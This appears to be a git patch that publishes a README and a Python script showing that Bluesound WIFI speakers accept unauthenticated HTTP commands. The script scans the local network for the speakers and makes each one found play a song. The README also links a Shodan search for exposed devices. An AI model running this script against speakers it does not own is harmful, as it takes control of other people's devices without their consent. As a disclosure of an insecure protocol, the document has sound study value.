From 02fec50f8d9f086009b64429bf29043ca476c619 Mon Sep 17 00:00:00 2001 From: cqql Date: Wed, 3 Jul 2024 21:12:23 +0200 Subject: [PATCH] sharing the code --- README.md | 23 +++++++++++++++++ bluesound.py | 72 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 95 insertions(+) create mode 100644 README.md create mode 100755 bluesound.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..1dd358a --- /dev/null +++ b/README.md @@ -0,0 +1,23 @@ +# Exploiting Insecure WIFI Speakers + +This is very old, from when I was around 18. But it was fun, so I thought I'll describe the process from memory. + +I knew someone who had [Bluesound](https://www.bluesound.com/) WIFI speakers and I got curious about them. + +They were controllable by a dedicated smartphone app. + +I installed a package capture app on my phone and tried a bunch of things in the Bluesound app. To my amazement, the app was sending pure, **unencrypted and unauthenticated `http` requests** to the speaker for every action I took, like play, pause, change track, etc. I captured enough to reverse engineer the protocol. + +What I thought would be fun was to write a script that scans the whole network for Bluesound speakers and then plays the [nyancat song](https://www.youtube.com/watch?v=2yJgwwDcgV8&pp=ygUIbnlhbiBjYXQ%3D) on all of them (it was still enough of a meme back then). + +[bluesound.py](bluesound.py) is that script, I am posting this unedited, just the way I found it on my hard drive. It's fun to see how differently I approached coding back then and how much I've learned since. + +## is this kind of a real vulnerability? + +If you search on Shodan for `Brand Display Name: Bluesound` ([link to search](https://www.shodan.io/search?query=Brand+Display+Name%3A+Bluesound)), it shows 137 results. This means you can control other people's speakers with `curl`! + +so idk + +## Disclaimer + +Please be responsible with this. I am not accountable for misuse of this code or technique, I am just sharing an interesting find. Only try it at your own risk, on devices you own or have the owner's informed consent for. \ No newline at end of file diff --git a/bluesound.py b/bluesound.py new file mode 100755 index 0000000..671519b --- /dev/null +++ b/bluesound.py @@ -0,0 +1,72 @@ +import socket +import requests +import sys + +def getMyIP(): + # ip = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # doesn't even have to be reachable + s.connect(('10.255.255.255', 1)) + ip = s.getsockname()[0] + except: + ip = '127.0.0.1' + finally: + s.close() + ip = [int(part) for part in ip.split(".")] + + return ip + +def isBluesound(host, timeout=0.3): + try: + return requests.get("http://"+host+":11000/Status", timeout=timeout).status_code == 200 + except: + return False + +def scanNetwork(printProgress=False): + bluesounds = [] + ip = getMyIP() + for i in range(256): + hostIP = ".".join(str(p) for p in ip[:-1]) + "." + str(i) + sys.stdout.write("\tProgress = "+ str(i)+"/255\t\r") + sys.stdout.flush() + if(isBluesound(hostIP)): + bluesounds.append(hostIP) + return bluesounds + +def sendRequest(host, reqName, reqParameters = None): + reqUrl = "http://"+host+":11000/"+reqName + if(reqParameters is not None and len(reqParameters) > 0): + reqUrl += "?" + for k, v in reqParameters.items(): + reqUrl += k+"="+v+"&" + reqUrl = reqUrl[:-1] + response = requests.get(reqUrl) + return response + +def sendRequestToAll(hosts, reqName, reqParameters = None): + responses = {} + for host in hosts: + response = sendRequest(host, reqName, reqParameters) + responses[host] = response + return responses + +def sendFuncToAll(hosts, func): + responses = {} + for host in hosts: + responses[host] = func(host) + return responses + +def playNyan(host): + nyanUrl="https://www.albinoblacksheep.com/audio/mp3/Nyanyanyanyanyanyanya.mp3" + return sendRequest(host, "Play", {"url":nyanUrl}) + +print("Scanning the network...") +bluesounds = scanNetwork() +print("Found", len(bluesounds), "bluesound(s):", bluesounds) +print("\nSending request:") +# responses = sendRequestToAll(bluesounds, "Pause") +responses = sendFuncToAll(bluesounds, playNyan) +for host, response in responses.items(): + print("\t", host) + print("\t\t"+response.text.replace("\n", "\n\t\t"))